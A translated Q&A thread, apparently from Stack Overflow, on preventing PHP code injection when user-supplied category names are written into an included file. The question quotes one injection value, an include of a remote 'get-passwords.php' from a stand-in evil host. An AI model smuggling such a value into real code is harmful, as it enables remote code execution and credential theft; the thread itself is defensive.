用户在mysql中写入类别(name
,url
)。
在每次写入/更改name
和url
时,我计划在服务器上的txt或php文件中编写。瞄准每个页面重新加载而不是连接到mysql,只是包含txt或php文件。
现在我想象一下情况。例如,作为类别的name
的用户写了一些东西include("http://www.evil/get-passwords.php");
所以在txt或php文件中我可能有这样的代码,当在php中包含代码时会执行吗?
如何预防这种情况?仅允许某些字符用于类别名称?
答案 0 :(得分:3)
我建议不要使用include
这样的情况。您可以查看http://php.net/manual/en/function.file-get-contents.php
使用file_get_contents
可以避免脚本注入,因为它将文件读作纯字符串。
答案 1 :(得分:1)
您打算让用户写入.php
文件吗?这不是一个好主意
如果你确实需要这个,那就让他们用简单的.txt
文件写一下(并仔细检查apache是不会将txt
解析为php
)。
对于清理,常见的应用是编写一个允许列表(白名单):
$allowedName = array(
'name1',
'name2',
'name3'
// ...
);
然后,当用户输入时,您可以检查它:
if (!in_array($_POST['userName'], $allowedName))
die('Not Allowed');